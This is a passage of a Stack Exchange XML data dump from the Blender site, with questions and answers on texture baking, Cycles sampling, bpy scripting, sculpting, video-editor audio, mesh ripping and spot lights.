  <row Id="24342" PostTypeId="2" ParentId="24340" CreationDate="2015-02-06T19:59:13.063" Score="16" Body="&lt;p&gt;One way to do this is if you are using the default internal render engine is to generate a &lt;em&gt;UV Map&lt;/em&gt; from an object hosting the material and then bake the texture to an image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the &lt;em&gt;UV/Image Editor&lt;/em&gt; and create a new image (you can set the output resolution from here), next select the object, &lt;kbd&gt;Tab&lt;/kbd&gt; into &lt;em&gt;Edit&lt;/em&gt; mode and press &lt;kbd&gt;U&lt;/kbd&gt; to generate a uv map, for very simple models you can use the default &lt;em&gt;Unwrap&lt;/em&gt; or &lt;em&gt;Project from View&lt;/em&gt; (for more complicated objects it's also best if you use a simple object with the material on it as opposed to unwrapping a detailed mesh) go to the &lt;em&gt;Render&lt;/em&gt; tab and under &lt;em&gt;Bake&lt;/em&gt;, you can set the &lt;em&gt;Bake Mode&lt;/em&gt; to &lt;em&gt;Textures&lt;/em&gt; (if you are using a custom texture) or just use &lt;em&gt;Full Render&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the image below, I created a simple green material and added a wood texture to it and the did a &lt;em&gt;Full Render&lt;/em&gt; bake, the result is shown in the &lt;em&gt;Image Editor&lt;/em&gt; on the left. After that, use the &lt;em&gt;Image&lt;/em&gt; menu to save it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HksRt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2015-02-06T19:59:13.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24343" PostTypeId="2" ParentId="18393" CreationDate="2015-02-06T20:29:32.267" Score="1" Body="&lt;p&gt;I don't know if it is possible (and I wasn't able) to map thickness in a shader without a voxel simulation. But here is a way to give your cloud texture some thickness and shape, and ability to rotate. Render time is way faster than sim.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Duplicate a sphere with UV map. In edit mode, duplicate it and flip normals with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt;. Add 2 vertex groups for both duplicates (inside, outside). Add a subdiv and 2 displace. Map your texture on both displace (mid level 0, very low strengh), and use vertex groups. Your clouds are now &quot;meshed&quot; and can be controlled with subdiv level, displace strengh and rotated around the planet axis (same local axis as it's a duplicate).&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/7BEND.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7BENDl.jpg&quot; alt=&quot;displace&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These clouds can be placed inside another volume object (add transparency levels in render/light paths if needed). You can add topology where needed to reduce subsurf level. Density should be controled by your texture to limit the cloud. Once Done you can duplicate it to make another cloud mesh that has a different rotation/texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is a simple neptune blue volume with your texture as clouds. (GPU rendered in 1min)&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/uu9T5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uu9T5l.png&quot; alt=&quot;viewport render&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-03-08T21:46:20.993" LastActivityDate="2015-03-08T21:46:20.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24346" PostTypeId="1" AcceptedAnswerId="24348" CreationDate="2015-02-06T22:38:07.733" Score="6" ViewCount="1617" Body="&lt;p&gt;I'm having some problems with cycles. No matter how small the number of samples I input, it always scales that up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AJwLu.png&quot; alt=&quot;image showing my input of 12 samples and blender saying it will render 144 samples&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought there was no anti aliasing configuration for cycles. What option may be causing this huge number of samples on my scene?&lt;/p&gt;&#xA;" OwnerUserId="3143" LastActivityDate="2015-02-06T23:05:04.450" Title="What settings affect the final number of samples in Cycles?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24347" PostTypeId="2" ParentId="24346" CreationDate="2015-02-06T22:43:06.123" Score="1" Body="&lt;p&gt;Uncheck the square samples for a much faster render but with a less better result.&lt;/p&gt;&#xA;" OwnerUserId="11441" LastActivityDate="2015-02-06T22:43:06.123" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24348" PostTypeId="2" ParentId="24346" CreationDate="2015-02-06T23:05:04.450" Score="10" Body="&lt;p&gt;The reason your samples are so high is because you are using &lt;strong&gt;Square Samples&lt;/strong&gt;. So instead of 12 you are using 144 (12x12) samples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The square samples feature allows you to increase the sample numbers very fast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how the author of this feature describes it on &lt;strong&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?342753-Square-Samples&quot;&gt;blenderartists.org&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Basically brings Cycles more in line with Arnold. Noise in a path tracer takes longer to clear the longer a render goes on, which maps fairly closely to a n^2 curve. So basically, using squared samples allows every increase of 1 to equal a meaningful amount of noise reduction, and it allows an artist to have a very simple table of values stored in their head to clear noise for various common scene types&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-02-06T23:05:04.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24349" PostTypeId="1" AcceptedAnswerId="24365" CreationDate="2015-02-06T23:30:14.440" Score="2" ViewCount="3561" Body="&lt;p&gt;I am using a Python script to generate keyframes for materials(changing the strength of emission node over time). I use the same script to set up keyframes for material A and material B. I can see keyframes for both material in NLA editor but only keyframes for material A show up in the Graph editor. Did anyone have the save problem? Is it a bug or did I do anything wrong? Thanks for your replies in advance. &lt;/p&gt;&#xA;" OwnerUserId="9842" LastActivityDate="2015-02-07T13:16:18.173" Title="How come my keyframes don't show up in graph editor?" Tags="&lt;materials&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24350" PostTypeId="1" CreationDate="2015-02-07T00:54:06.223" Score="3" ViewCount="2998" Body="&lt;p&gt;I want to create a blocky random terrain by extruding all faces of a plane a random amount.&#xA;I had the idea you were supposed to iterate through all faces, select one, extrude at random, deselect, select next etc.etc.&#xA;I made a script but it does not seem to be working. It will only extrude once on the face i have manually preselected. If I select none, nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is my script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy, bmesh, random&#xA;&#xA;objList = list(bpy.data.objects)&#xA;&#xA;mesh = None&#xA;&#xA;for obj in objList:&#xA;    if obj.name == 'Plane':&#xA;    mesh = obj&#xA;&#xA;if mesh != None:&#xA;&#xA;&#xA;    for face in mesh.data.polygons:&#xA;&#xA;         randExt = random.uniform(0.001,0.06)&#xA;&#xA;        bpy.ops.object.mode_set(mode=&quot;EDIT&quot;)&#xA;        bpy.ops.mesh.select_mode(type=&quot;FACE&quot;)&#xA;&#xA;&#xA;        #select does not seem to be working.&#xA;        face.select = True&#xA;&#xA;        bpy.ops.mesh.extrude_region_move(&#xA;        MESH_OT_extrude_region={&quot;mirror&quot;:True}, &#xA;        TRANSFORM_OT_translate={&quot;value&quot;:(randExt,0,0),&#xA;        &quot;mirror&quot;:False,&#xA;        &quot;proportional&quot;:'DISABLED',&#xA;        &quot;proportional_edit_falloff&quot;:'SMOOTH',&#xA;        &quot;proportional_size&quot;:1,&#xA;        &quot;snap&quot;:False,&#xA;        &quot;snap_target&quot;:'CLOSEST',&#xA;        &quot;snap_point&quot;:(0, 0, 0),&#xA;        &quot;snap_align&quot;:False,&#xA;        &quot;snap_normal&quot;:(0, 0, 0),&#xA;        &quot;release_confirm&quot;:False}) &#xA;&#xA;        bpy.ops.mesh.select_all(action = 'DESELECT')&#xA;&#xA;        bpy.ops.object.mode_set(mode=&quot;OBJECT&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11443" LastActivityDate="2015-03-11T13:44:54.843" Title="How do I extrude all faces a random amount through a python script?" Tags="&lt;python&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24351" PostTypeId="1" AcceptedAnswerId="24360" CreationDate="2015-02-07T02:00:12.700" Score="4" ViewCount="1218" Body="&lt;p&gt;I'm trying to apply physics properties to multiple objects using following script:   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for obj in bpy.data.objects:&#xA;     bpy.ops.rigidbody.object_add(type='ACTIVE')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but physics is applied only to the last object. Do you have any suggestions? I know how to copy physics using 'Copy from Active' but i need script.&lt;/p&gt;&#xA;" OwnerUserId="11444" LastEditorUserId="241" LastEditDate="2015-02-07T02:01:43.917" LastActivityDate="2018-09-26T15:43:59.223" Title="Apply physics to multiple objects using script" Tags="&lt;python&gt;&lt;scripting&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24352" PostTypeId="1" CreationDate="2015-02-07T02:15:41.243" Score="3" ViewCount="2162" Body="&lt;p&gt;I just finished my first sculpt in blender and I think I managed it using a low poly mesh to start and then everything sculpted using dynamic topology enabled.&#xA;My question is with Blender 2.73a is there a need to apply the multi resolution modifier to the mesh before I start sculpting? What is the benefit of doing that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="11445" LastActivityDate="2015-02-07T10:04:06.937" Title="multi resolution needed in order to sculpt?" Tags="&lt;sculpting&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24355" PostTypeId="2" ParentId="24352" CreationDate="2015-02-07T04:00:29.667" Score="-1" Body="&lt;p&gt;No, the entire point of the Multi-rez mod is to be able to change it &lt;em&gt;as&lt;/em&gt; you sculpt.&#xA;Rather than doing low-poly sculpts (which I'm sure you know by now is really tedious and kinda frustrating) add a multi-rez to the object and sculpt as much as you can effectively, then increase the subdivisions on the multi-rez. Repeat this until your sculpt is finished. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try not to increase subdivisions unless you reach that point where the brush has no visual effect anymore and save before increasing since it's difficult for the computer.&#xA;Remember that applying the modifier takes away the options that are really helpful for sculpting.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-02-07T04:00:29.667" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24356" PostTypeId="1" CreationDate="2015-02-07T05:51:27.370" Score="5" ViewCount="2692" Body="&lt;p&gt;I studying the node in the Blender internal (not Cycles render). In an exercice, I want to mix two materials. I create a sphere, I apply the first material with a texture and it is going. In the second task, I create an other materials without texture and I need to mix the two materials using the Mix node. The problem is Mix does not exist in the shaders node and exist in the compositing nodes or texture nodes. In addition, I can't show at the same time the nodes corresponding to the two materials in the &#xA;shaders node? How can I Mix the two materials. I am using this tutorial &lt;a href=&quot;https://sites.google.com/a/blendercycles.com/www/tips/introduction-to-material-nodes&quot; rel=&quot;noreferrer&quot;&gt;tuto blender&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wZqyJ.png&quot; alt=&quot;Material with texture&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qYyeh.png&quot; alt=&quot;Material without texture&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastActivityDate="2015-02-07T07:22:01.410" Title="Mix two materials in the Blender Internal Materials Nodes" Tags="&lt;animation&gt;&lt;texturing&gt;&lt;materials&gt;&lt;blender-internal-render-engine&gt;&lt;node-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24357" PostTypeId="1" CreationDate="2015-02-07T06:46:32.903" Score="11" ViewCount="42736" Body="&lt;p&gt;I want to play a music strip with a video in the video editor but the video has no music when I play it.  I've rendered it but it still doesn't have sound.  How can I render and play the video with the sound track.&lt;/p&gt;&#xA;" OwnerUserId="11447" LastEditorUserId="5705" LastEditDate="2015-02-07T14:50:09.690" LastActivityDate="2015-02-07T14:50:09.690" Title="VSE: How to render a video with audio?" Tags="&lt;video-sequence-editor&gt;&lt;video&gt;&lt;audio&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ClosedDate="2015-02-07T15:14:33.630" ContentLicense="CC BY-SA 3.0" />
  <row Id="24358" PostTypeId="2" ParentId="24356" CreationDate="2015-02-07T07:22:01.410" Score="7" Body="&lt;p&gt;since the material nodes output is Color type you can mix them using the RGB_Mix node :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O5VVx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-07T07:22:01.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24359" PostTypeId="2" ParentId="24352" CreationDate="2015-02-07T10:04:06.937" Score="4" Body="&lt;p&gt;You can sculpt a simple mesh (a cube) without anything else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can sculpt any mesh and use dyntopo. You'll get a full triangulated mesh with as much topo as you want/can, exactly where you need it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can sculpt on a quad based mesh with multires. You'll get a new level of details with each subdiv. The whole mesh is subdivided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But using a multires on dyntopo is exactly what you shouldn't do. Multires (or subdivision) is not supposed to work well with triangles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both have pros and cons, they are a different way to do sculpting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a Cube with quad and a cube with triangulated faces, with a subdivision (same as multires):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Cxm53.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-02-07T10:04:06.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24360" PostTypeId="2" ParentId="24351" CreationDate="2015-02-07T11:17:49.587" Score="3" Body="&lt;p&gt;Setup one object as template then the following code will set the template object as active object and select all objects. Finally &lt;code&gt;bpy.ops.rigidbody.object_settings_copy()&lt;/code&gt; copies all attributes as the 'Copy from Active' button would do.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;scene.objects.active = bpy.data.objects[&quot;template&quot;]  &#xA;for obj in scene.objects:&#xA;    if obj.type == 'MESH':&#xA;        obj.select = True&#xA;&#xA;&#xA;#bpy.ops.object.constraints_copy()&#xA;bpy.ops.rigidbody.object_settings_copy()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-02-07T11:17:49.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24361" PostTypeId="2" ParentId="24357" CreationDate="2015-02-07T11:27:02.243" Score="-3" Body="&lt;p&gt;In video Editor, in the left side. Edit Strip / Sound.&#xA;volume. now volume is 1. go up to 100...&lt;/p&gt;&#xA;" OwnerUserId="11428" LastActivityDate="2015-02-07T11:27:02.243" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24363" PostTypeId="2" ParentId="24275" CreationDate="2015-02-07T12:03:09.253" Score="5" Body="&lt;p&gt;PNG will be anti-alliased.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to export your UV map as .SVG. It will be anti aliased too but you can change this. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/7YZOr.jpg&quot; alt=&quot;export UV&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using gimp (it's free). I don't know if you can do that in paint.net&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open your .SVG in gimp. Choose the size and check &quot;Import Paths&quot; and &quot;merge imported Paths&quot; (tried to translate).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Oniyp.jpg&quot; alt=&quot;import svg in gimp&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the &quot;Paths&quot; tab, click on &quot;paint along path&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LOFc5.jpg&quot; alt=&quot;paint path&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;uncheck &quot;antialiasing&quot;, choose your line width (color will be foreground color)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TLMLP.jpg&quot; alt=&quot;parameters&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;your lines will be exactly the color you want, nothing more, nothing less.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0y14S.jpg&quot; alt=&quot;final&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-02-07T12:03:09.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24364" PostTypeId="2" ParentId="24357" CreationDate="2015-02-07T12:55:13.817" Score="14" Body="&lt;p&gt;In blenders preferences under system you have a few options for the software used for sound, this may help playing sound from blender's VSE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iJObj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the output video you need to check that you have selected an audio codec in the encoding options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HKja1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-02-07T12:55:13.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24365" PostTypeId="2" ParentId="24349" CreationDate="2015-02-07T13:16:18.173" Score="4" Body="&lt;p&gt;Both the dopesheet and the graph editor have &lt;a href=&quot;http://www.blender.org/manual/animation/editors/graph.html#header-controls&quot; rel=&quot;nofollow noreferrer&quot;&gt;some options&lt;/a&gt; for what they display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HVK1j.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the cursor button highlighted, only selected items will be shown, for a node tree this means the node that has keyframed values needs to be selected. As you are creating them by script you can set the &lt;code&gt;select&lt;/code&gt; property of each node as you create them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.materials['Material'].node_tree.nodes['Emission'].select=True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The ghost allows you to see items that are hidden, that is the object containing the keyframes is hidden in the 3dview.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The filters list allows you to show or hide based on what data blocks have the keyframes. By turning off the node symbol you won't see any keyframes from nodetree items.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-02-07T13:16:18.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24366" PostTypeId="1" CreationDate="2015-02-07T13:57:12.203" Score="1" ViewCount="59" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xz93B.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/AymO7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to model a Lamorghini which has some sharp edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is when I create a mesh for the bonnet and use &lt;code&gt;smooth&lt;/code&gt; in a left window all hard edges are gone (red in first picture).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am watching lots of tutorials all over the internet but so far I haven't found the answer for my specific question. When I smooth the bonnet in the left menu (smooth faces) all my hard edges are gone and I have no idea how to bring them back. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally there should be a sharp edge where is the clipping edge with the mirror part of the car (in the middle). There is always some stupid shading on it, I tried to get rid of it by pressing &lt;code&gt;ctrl + m&lt;/code&gt; and it worked a bit but I need sharp edge there also. I simply want to model exactly the shape which is in the reference photo of the red lambo. And I want to have it smooth without seeing the faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your kind advice would be really appreciated. (The rendered picture I provided has the lines and smoothness as I want it but the bonnet is created from 3 different parts separately and when i put them together with &lt;code&gt;ctrl + j&lt;/code&gt; those nice edges will dissappear again)&lt;/p&gt;&#xA;" OwnerUserId="11452" LastEditorUserId="79197" LastEditDate="2019-09-01T01:59:39.233" LastActivityDate="2019-09-01T01:59:39.233" Title="Hard edges during smoothing" Tags="&lt;edges&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-02-07T15:28:30.333" ContentLicense="CC BY-SA 4.0" />
  <row Id="24368" PostTypeId="1" CreationDate="2015-02-07T15:41:39.630" Score="2" ViewCount="344" Body="&lt;p&gt;Being relatively new to Blender and 3D modelling in general, I recently made a low-poly female character using video tutorials by PXstriker (Linked below). The model itself is made using the mirror modifier, as to only need half the work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I started rigging and posing this model, I noticed that the model rips open at the back, particularly near the legs. Whether the mirror modifier is applied to the mesh or not doesn't seem to make a difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a normal problem using the mirror? I've looked around google and other tutorial sites, but nothing similar to the problem seems to be mentioned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;YouTube Channel Link: &lt;a href=&quot;https://www.youtube.com/user/PXstriker/videos&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/user/PXstriker/videos&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Front view of the model:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xcpz2.png&quot; alt=&quot;Front View&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back view of the model, mesh is visibly opened whenever the legs are posed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dVjhQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11455" LastActivityDate="2015-02-07T19:06:13.223" Title="Mesh opens at the back" Tags="&lt;rigging&gt;&lt;edges&gt;&lt;mirror&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24369" PostTypeId="1" AcceptedAnswerId="24370" CreationDate="2015-02-07T15:44:26.780" Score="5" ViewCount="5760" Body="&lt;p&gt;Lets take a simple example of a cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to cut open one of the face of the cube from its three edges but let the third edge connected so that it looks like a flap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a more detailed example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got a airplane model &#xA;&lt;img src=&quot;https://i.stack.imgur.com/LWMag.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to cut the cockpit windshield along the selected edges in the following photo , please I don't want to completely cut it out but to let some edges attached to main mesh&#xA; &lt;img src=&quot;https://i.stack.imgur.com/lEHEC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11454" LastActivityDate="2016-08-29T17:45:17.060" Title="How do I cut a flap using edges or vertices" Tags="&lt;mesh&gt;&lt;edges&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24370" PostTypeId="2" ParentId="24369" CreationDate="2015-02-07T15:48:06.957" Score="7" Body="&lt;p&gt;This can be done using the &lt;em&gt;Rip&lt;/em&gt; tool. Go into edit mode, select and edge or a selection of edges (or a group of vertices):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ro1dS.jpg&quot; alt=&quot;SelectEdge&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now press &lt;kbd&gt;V&lt;/kbd&gt;. You will now get something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t6OtQ.jpg&quot; alt=&quot;RippedEdge&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your specific instance &lt;strong&gt;do not select the shown edges&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2S8Nq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every edge is made from two vertices, one on each end. When you rip them, those vertices separate from the mesh, and a new edge is created. However the vertices at the end connect to the mesh still. In your example, pressing &lt;kbd&gt;V&lt;/kbd&gt; would make there be a single vertex connecting the two parts, instead of two edges. Use the suggested selection to get the desire result.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-02-07T17:59:27.543" LastActivityDate="2015-02-07T17:59:27.543" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="24371" PostTypeId="1" AcceptedAnswerId="24374" CreationDate="2015-02-07T17:15:00.273" Score="10" ViewCount="8328" Body="&lt;p&gt;I am working on project where I am using an infrared light. I want to simulate my real scene on blender. I am using a Cycles Render engine. I want to choose a point light. It is possible to fix a level angle visual range (45 degrees in the real scene)? The viewing range (80meter in the real scene). Any explanation will be appreciated. I need to simulate this light:&#xA;&lt;img src=&quot;https://blender.stackexchange.com/questions/24391/how-to-create-an-array-of-lamps&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Illuminating range: Standard 45Â°&#xA;Viewing range: 80m (outdoor)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I used the solution proposed in the &lt;a href=&quot;https://blender.stackexchange.com/questions/24391/how-to-create-an-array-of-lamps&quot;&gt;create an array of lamps?&lt;/a&gt; to model the Infrared light mentioned above which has these properties:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Led quantity: 96 leds.&lt;/li&gt;&#xA;&lt;li&gt;Wave length: 850nM.&lt;/li&gt;&#xA;&lt;li&gt;Illuminating range: Standard 45Â° level angle visual range&lt;/li&gt;&#xA;&lt;li&gt;Viewing range: 80m (outdoor).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The fisheye camera is installed in the ceiling in a room.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we use the wave length node, the array of lamps does not emit a sufficient light!!&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Ky2FO.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lwSXt.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7DQZG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-02-09T02:30:45.510" Title="How to control the angle and range of a light" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="3" CommentCount="14" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24372" PostTypeId="2" ParentId="24371" CreationDate="2015-02-07T17:39:17.180" Score="4" Body="&lt;p&gt;Add a &lt;strong&gt;Spot Lamp&lt;/strong&gt; to the scene, switch to &lt;strong&gt;Blender Render&lt;/strong&gt; engine and set the Spotlights size(angle) and distance(falloff).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AIY39.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Position it in the scene like you want, the visual spotlights guides will help, you should see the spotlight cone and range.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switch to Cycles if you want, but the falloff will not work there, you will have to adjust the light's strength. If you like you can use volumetrics to visualize the lights cone in render:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PWF3m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wiKpS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-02-07T17:47:12.670" LastActivityDate="2015-02-07T17:47:12.670" 